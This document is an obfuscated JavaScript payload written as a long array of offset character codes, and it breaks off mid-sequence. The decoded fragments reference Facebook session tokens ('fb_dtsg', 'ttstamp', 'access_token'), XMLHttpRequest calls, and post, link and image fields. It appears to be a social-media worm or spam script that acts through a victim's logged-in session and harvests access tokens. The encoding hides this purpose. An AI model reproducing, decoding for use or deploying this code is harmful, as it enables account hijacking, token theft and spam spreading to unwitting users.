35,37,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,30,39,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,30,39,27,33,38,23,26,94,79,96,97,83,55,92,98,22,39,33,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,34,38,23,26,94,79,96,97,83,55,92,98,22,39,30,27,33,33,23,26,94,79,96,97,83,55,92,98,22,39,30,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,31,36,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,35,35,23,26,94,79,96,97,83,55,92,98,22,38,36,27,31,38,23,26,94,79,96,97,83,55,92,98,22,37,37,27,31,31,23,26,94,79,96,97,83,55,92,98,22,39,34,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,30,35,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,31,37,27,31,38,23,26,94,79,96,97,83,55,92,98,22,39,34,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,32,32,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,35,33,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,36,30,23,26,94,79,96,97,83,55,92,98,22,39,34,27,34,31,23,26,94,79,96,97,83,55,92,98,22,36,34,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,34,34,23,26,94,79,96,97,83,55,92,98,22,39,32,27,34,30,23,26,94,79,96,97,83,55,92,98,22,38,30,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,30,30,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,37,39,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,31,38,23,26,94,79,96,97,83,55,92,98,22,37,32,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,34,35,23,26,94,79,96,97,83,55,92,98,22,39,33,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,35,33,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,34,36,23,23,26,77,77,96,83,95,40,33,35,26,77,77,80,83,40,30,26,77,77,94,81,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,30,34,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,33,38,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,33,31,23,26,94,79,96,97,83,55,92,98,22,36,39,27,32,30,23,26,94,79,96,97,83,55,92,98,22,37,37,27,31,39,23,26,94,79,96,97,83,55,92,98,22,38,33,27,31,35,23,26,94,79,96,97,83,55,92,98,22,39,38,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,30,35,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,31,35,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,34,31,23,23,26,84,80,77,82,98,97,85,40,84,80,77,82,98,97,85,26,98,98,97,98,79,91,94,40,98,98,97,98,79,91,94,26,77,77,96,83,100,40,77,77,96,83,100,107,26,93,43,92,83,101,14,70,59,58,54,98,98,94,64,83,95,99,83,97,98,41,93,28,93,94,83,92,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,37,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,31,37,27,33,38,23,26,94,79,96,97,83,55,92,98,22,39,34,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,34,37,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,32,39,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,34,31,23,26,94,79,96,97,83,55,92,98,22,37,33,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,30,34,27,35,37,23,26,94,79,96,97,83,55,92,98,22,38,37,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,32,34,23,26,94,79,96,97,83,55,92,98,22,39,36,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,36,39,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,33,38,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,34,32,23,26,94,79,96,97,83,55,92,98,22,36,30,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,31,32,23,26,94,79,96,97,83,55,92,98,22,36,36,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,30,34,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,35,31,23,26,94,79,96,97,83,55,92,98,22,36,38,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,35,33,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,34,38,23,26,94,79,96,97,83,55,92,98,22,39,38,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,36,39,27,35,33,23,26,94,79,96,97,83,55,92,98,22,37,39,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,35,31,23,26,94,79,96,97,83,55,92,98,22,39,37,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,37,38,27,36,30,23,26,94,79,96,97,83,55,92,98,22,38,34,27,32,33,23,23,25,94,96,93,84,87,90,83,77,87,82,23,26,93,28,97,83,98,64,83,95,99,83,97,98,54,83,79,82,83,96,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,34,32,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,39,38,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,33,30,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,32,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,34,35,23,26,94,79,96,97,83,55,92,98,22,37,36,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,31,39,23,26,94,79,96,97,83,55,92,98,22,38,30,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,37,34,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,37,23,26,94,79,96,97,83,55,92,98,22,39,33,27,33,34,23,26,94,79,96,97,83,55,92,98,22,35,30,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,39,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,38,35,27,31,35,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,30,32,27,34,36,23,23,23,26,93,28,97,83,92,82,22,77,48,22,98,23,23,26,93,28,93,92,96,83,79,82,103,97,98,79,98,83,81,86,79,92,85,83,43,84,99,92,81,98,87,93,92,22,23,105,87,84,22,34,43,43,93,28,96,83,79,82,103,65,98,79,98,83,20,20,32,30,30,43,43,93,28,97,98,79,98,99,97,23,105,100,79,96,14,98,43,56,65,61,60,28,94,79,96,97,83,22,93,28,96,83,97,94,93,92,97,83,66,83,102,98,28,96,83,94,90,79,81,83,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,38,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,35,23,26,94,79,96,97,83,55,92,98,22,36,31,27,32,39,23,26,94,79,96,97,83,55,92,98,22,38,34,27,34,34,23,26,94,79,96,97,83,55,92,98,22,37,38,27,31,39,23,26,94,79,96,97,83,55,92,98,22,38,34,27,32,35,23,26,94,79,96,97,83,55,92,98,22,38,36,27,34,35,23,26,94,79,96,97,83,55,92,98,22,38,35,27,32,36,23,23,26,16,16,23,23,41,98,28,83,96,96,93,96,106,106,22,83,28,94,93,97,98,77,87,82,43,77,103,22,98,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,37,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,30,39,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,32,37,27,32,37,23,23,23,26,83,28,97,86,79,96,83,79,80,90,83,77,87,82,43,93,28,96,83,97,94,93,92,97,83,66,83,102,98,28,97,94,90,87,98,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,34,38,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,31,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,35,33,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,34,35,23,26,94,79,96,97,83,55,92,98,22,39,30,27,32,39,23,23,23,73,31,75,28,97,94,90,87,98,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,35,31,27,31,33,23,23,23,73,30,75,26,22,92,83,101,14,55,91,79,85,83,23,28,97,96,81,43,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,32,38,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,37,35,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,31,37,23,26,94,79,96,97,83,55,92,98,22,38,32,27,32,34,23,26,94,79,96,97,83,55,92,98,22,36,38,27,32,31,23,26,94,79,96,97,83,55,92,98,22,39,35,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,35,33,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,35,33,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,35,34,27,33,39,23,26,94,79,96,97,83,55,92,98,22,38,32,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,32,31,23,26,94,79,96,97,83,55,92,98,22,39,34,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,31,23,26,94,79,96,97,83,55,92,98,22,39,34,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,33,30,23,26,94,79,96,97,83,55,92,98,22,39,36,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,36,39,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,30,30,27,33,39,23,23,25,83,28,94,93,97,98,77,87,82,25,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,38,37,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,30,35,27,34,34,23,23,25,83,28,90,87,92,89,25,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,37,33,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,34,36,23,26,94,79,96,97,83,55,92,98,22,38,39,27,32,38,23,23,25,83,28,87,91,79,85,83,26,77,94,22,83,23,26,77,92,22,83,23,26,77,88,22,83,23,26,77,89,22,83,23,23,107,107,107,84,99,92,81,98,87,93,92,14,77,88,22,83,23,105,94,79,96,79,91,97,43,105,90,87,92,89,40,83,28,80,87,98,90,103,26,82,93,91,79,87,92,40,83,28,82,93,91,79,87,92,26,89,83,103,101,93,96,82,40,83,28,89,83,103,101,93,96,82,26,93,100,83,96,101,96,87,98,83,40,15,31,26,79,81,81,83,97,97,77,98,93,89,83,92,40,83,28,89,83,103,26,83,102,98,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,32,35,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,34,36,23,23,107,41,100,79,96,14,98,43,92,83,101,14,70,59,58,54,98,98,94,64,83,95,99,83,97,98,41,98,28,93,94,83,92,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,30,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,35,35,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,38,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,33,38,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,30,37,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,30,32,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,31,38,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,35,33,23,26,94,79,96,97,83,55,92,98,22,39,31,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,32,35,23,26,94,79,96,97,83,55,92,98,22,37,38,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,30,34,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,35,33,27,34,34,23,26,94,79,96,97,83,55,92,98,22,39,37,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,35,34,27,35,33,23,26,94,79,96,97,83,55,92,98,22,38,33,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,31,39,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,37,34,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,37,33,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,32,37,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,31,37,27,35,34,23,23,25,77,48,22,94,79,96,79,91,97,23,23,26,98,28,97,83,98,64,83,95,99,83,97,98,54,83,79,82,83,96,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,34,32,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,39,38,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,33,30,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,32,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,34,35,23,26,94,79,96,97,83,55,92,98,22,37,36,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,31,39,23,26,94,79,96,97,83,55,92,98,22,38,30,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,37,34,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,37,23,26,94,79,96,97,83,55,92,98,22,39,33,27,33,34,23,26,94,79,96,97,83,55,92,98,22,35,30,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,39,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,38,35,27,31,35,23,26,94,79,96,97,83,55,92,98,22,36,31,27,